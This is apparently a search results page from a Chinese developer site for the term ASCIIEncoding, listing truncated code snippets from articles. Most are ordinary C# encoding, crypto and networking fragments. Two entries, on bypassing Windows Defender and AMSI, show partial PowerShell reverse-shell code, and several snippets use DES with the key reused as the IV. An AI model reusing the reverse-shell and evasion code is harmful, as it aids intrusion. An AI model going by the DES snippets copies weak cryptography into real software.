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C#单纯的字母数字ASCII码转换
asciiEncoding = new System.Text.ASCIIEncoding(); byte[] btNumber = new byte[] { (byte )number }; return asciiEncoding.GetString(btNumber); } return "数字不在转换范围内 number && 36 >= number) { int num = number+64; System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding(); byte[] btNumber = new byte[] { (byte )num }; return asciiEncoding.GetString(btNumber); } return "数字不在转换范围内
2.1K10编辑于 2022-07-18 - 来自专栏DT乱“码”
3DES 加密与解密
byte[] inputByteArray = Encoding.GetEncoding("UTF-8").GetBytes(pToEncrypt); des.Key = ASCIIEncoding.ASCII.GetBytes (key); des.IV = ASCIIEncoding.ASCII.GetBytes(key); System.IO.MemoryStream [x] = (byte)i; } string key = this.Keys; des.Key = ASCIIEncoding.ASCII.GetBytes (key); des.IV = ASCIIEncoding.ASCII.GetBytes(key); System.IO.MemoryStream
2.5K101发布于 2018-02-09 - 来自专栏sofu456
dotnet MD5
DESCryptoServiceProvider desCrypto = (DESCryptoServiceProvider)DESCryptoServiceProvider.Create(); return ASCIIEncoding.ASCII.GetString ); byte[] inputByteArray = Encoding.Default.GetBytes(pToEncrypt); des.Key = ASCIIEncoding.ASCII.GetBytes (sKey); des.IV = ASCIIEncoding.ASCII.GetBytes(sKey); MemoryStream ms = new MemoryStream
1K20发布于 2020-05-04 - 来自专栏阿林前端开发攻城狮
C#封装的DES加密、解密类代码
] inputByteArray; inputByteArray=Encoding.Default.GetBytes(Text); des.Key = ASCIIEncoding.ASCII.GetBytes System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8)); des.IV = ASCIIEncoding.ASCII.GetBytes Text.Substring(x * 2, 2), 16); inputByteArray[x]=(byte)i; } des.Key = ASCIIEncoding.ASCII.GetBytes System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8)); des.IV = ASCIIEncoding.ASCII.GetBytes
1.6K40发布于 2021-11-03 - 来自专栏css小迷妹
C# 发HTTP请求
//reqStr.Append("</request>"); string postData = reqStr.ToString(); ASCIIEncoding encoding = new ASCIIEncoding(); byte[] data = encoding.GetBytes(postData); 如果公司设置了代理，可以这样： try { string postData = ""; ASCIIEncoding encoding = new ASCIIEncoding(); byte[] data = encoding.GetBytes(postData);
71730发布于 2021-11-03 - 来自专栏飞扬的花生
Md5加密秘钥加密哈希加密
inputByteArray=Encoding.Unicode.GetBytes(pToEncrypt); //建立加密对象的密钥和偏移量 //原文使用ASCIIEncoding.ASCII 方法的GetBytes方法 //使得输入密码必须输入英文文本 des.Key = ASCIIEncoding.ASCII.GetBytes(sKey) ; des.IV = ASCIIEncoding.ASCII.GetBytes(sKey); MemoryStream ms = new MemoryStream inputByteArray[x] = (byte)i; } //建立加密对象的密钥和偏移量，此值重要，不能修改 des.Key = ASCIIEncoding.ASCII.GetBytes (sKey); des.IV = ASCIIEncoding.ASCII.GetBytes(sKey); MemoryStream ms = new MemoryStream
6.8K90发布于 2018-01-18 - 来自专栏张善友的专栏
JavaScript 和asp.net配合编码字符串
.net 的System.Text.ASCIIEncoding 和System.BitConvertor类配合在服务端加密字符串，客户端使用Javascript解密字符串。 encryption using the raw email txtServerEncrypted.Text = System.BitConverter.ToString( System.Text.ASCIIEncoding.ASCII.GetBytes the encryption using the raw email txtAllTogether.Text = System.BitConverter.ToString( System.Text.ASCIIEncoding.ASCII.GetBytes
1.5K90发布于 2018-01-19 - 来自专栏全栈程序员必看
c#byte数组转换成字符串_字符串数组怎么定义
using System; using System.Text; public static string FromASCIIByteArray(byte[] characters) { ASCIIEncoding encoding = new ASCIIEncoding( ); string constructedString = encoding.GetString(characters); return
1.1K10编辑于 2022-09-27 - 来自专栏阿炬.NET
c#通用登录模块，简单好用，一贴见效
DESCryptoServiceProvider des = new DESCryptoServiceProvider(); des.Key = ASCIIEncoding.ASCII.GetBytes (key); //建立加密对象的密钥和偏移量 des.IV = ASCIIEncoding.ASCII.GetBytes(key); //原文使用ASCIIEncoding.ASCII 16)); inputByteArray[x] = (byte)i; } des.Key = ASCIIEncoding.ASCII.GetBytes (key); //建立加密对象的密钥和偏移量，此值重要，不能修改 des.IV = ASCIIEncoding.ASCII.GetBytes(key);
1.3K60发布于 2018-05-11 - 来自专栏鸿鹄实验室
Bypass Windows Defender Reverse Shell
GetStream(); [byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){; $d=(New-Object Text.ASCIIEncoding GetStream(); [byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){; $d=(New-Object Text.ASCIIEncoding while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding
1.4K40发布于 2021-04-15 - 来自专栏Java架构师必看
字符串截取固定长度的方法
解决了汉字与英文字节不一样导致直接截取到的长度不一样的问题， #region 字符串截取函数 public static string CutString(string inputString,int len) { ASCIIEncoding ascii = new ASCIIEncoding(); int tempLen=0; string tempString=""; byte[] s = ascii.GetBytes
2.3K20发布于 2021-03-22 - 来自专栏信安之路
一种 Powershell 的混淆方式绕过 AMSI 检测
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) 6、iex是调用函数的 PowerShell 此外，与其使用别名 text.encoding 进行字节转换，不如使用原生函数 [System.Text.ASCIIEncoding]将字符串转换为字节的 API。 我们将把字节存储在 b 变量中，并将 API [System.Text.ASCIIEncoding] 存储在 s 变量中。我们稍后将使用此进行字节转换。 NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n" $s = [System.Text.ASCIIEncoding
4.8K40发布于 2021-03-25 - 来自专栏跟着阿笨一起玩NET
C#中char[]与string之间的转换；byte[]与string之间的转化
Encoding.UTF8.GetString(bb); string 转换为byte[] byte[] bytes; string str = "abc"; System.Text.ASCIIEncoding ascill = new ASCIIEncoding(); bytes = ascill.GetBytes(str); (3)将一整数逆序，如987654321变为123456789。
1.9K10发布于 2018-09-18 - 来自专栏DotNet NB && CloudNative
C# 调用js库的方法
FileShare.Read)) { byte[] bArr = new byte[fs.Length]; await fs.ReadAsync(bArr, 0, bArr.Length); js = ASCIIEncoding.UTF8 new byte[fs.Length]; await fs.ReadAsync(bArr, 0, bArr.Length); js = ASCIIEncoding.UTF8 new byte[fs.Length]; await fs.ReadAsync(bArr, 0, bArr.Length); js = ASCIIEncoding.UTF8 new byte[fs.Length]; await fs.ReadAsync(bArr, 0, bArr.Length); js = ASCIIEncoding.UTF8 fs.Length]; await fs.ReadAsync(bArr, 0, bArr.Length); string json = ASCIIEncoding.UTF8
12.9K40编辑于 2023-02-12 - 来自专栏全栈程序员必看
C# DES (ECB模式) 加密解密 –单倍长「建议收藏」
DESCryptoServiceProvider(); desEncrypt.Mode = CipherMode.ECB; //desEncrypt.Key = ASCIIEncoding.ASCII.GetBytes desEncrypt.Key = keys; byte[] Buffer; Buffer = shuju;//ASCIIEncoding.ASCII.GetBytes
1.1K20编辑于 2022-07-11 - 来自专栏全栈程序员必看
十六进制字符串转化成字符串输出「建议收藏」
NumberStyles.HexNumber, null, out vBytes[i / 2])) vBytes[i / 2] = 0; return ASCIIEncoding.Default.GetString vBytes); } public string StrToHex(string mStr) //返回处理后的十六进制字符串 { return BitConverter.ToString( ASCIIEncoding.Default.GetBytes
90130编辑于 2022-09-19 - 来自专栏全栈程序员必看
C#UDP编程
bool continueLoop = true; while(continueLoop){ System.Text.ASCIIEncoding encode = new System.Text.ASCIIEncoding(); string sendString = Console.ReadLine(); ; while (true) { ASCIIEncoding encode = new ASCIIEncoding();
1.7K10编辑于 2022-10-04 - 来自专栏跟着阿笨一起玩NET
c# 播放mp3
{ return mc.iName; } set { //ASCIIEncoding asc = new ASCIIEncoding(); try { TemStr = "";
3.1K10发布于 2018-09-19 - 来自专栏全栈程序员必看
C# License
RSAPKCS1SignatureFormatter(rsa); // 加密对象 f.SetHashAlgorithm(“SHA1”); byte[] source = System.Text.ASCIIEncoding.ASCII.GetBytes Convert.FromBase64String(“注册码”); SHA1Managed sha = new SHA1Managed(); byte[] name = sha.ComputeHash(ASCIIEncoding.ASCII.GetBytes
1.3K20编辑于 2022-09-17 - 来自专栏python3
Winfrom 播放MP3音乐文件
{ return mc.iName; } set { //ASCIIEncoding asc = new ASCIIEncoding(); try { TemStr = "";
1.5K10发布于 2020-01-07
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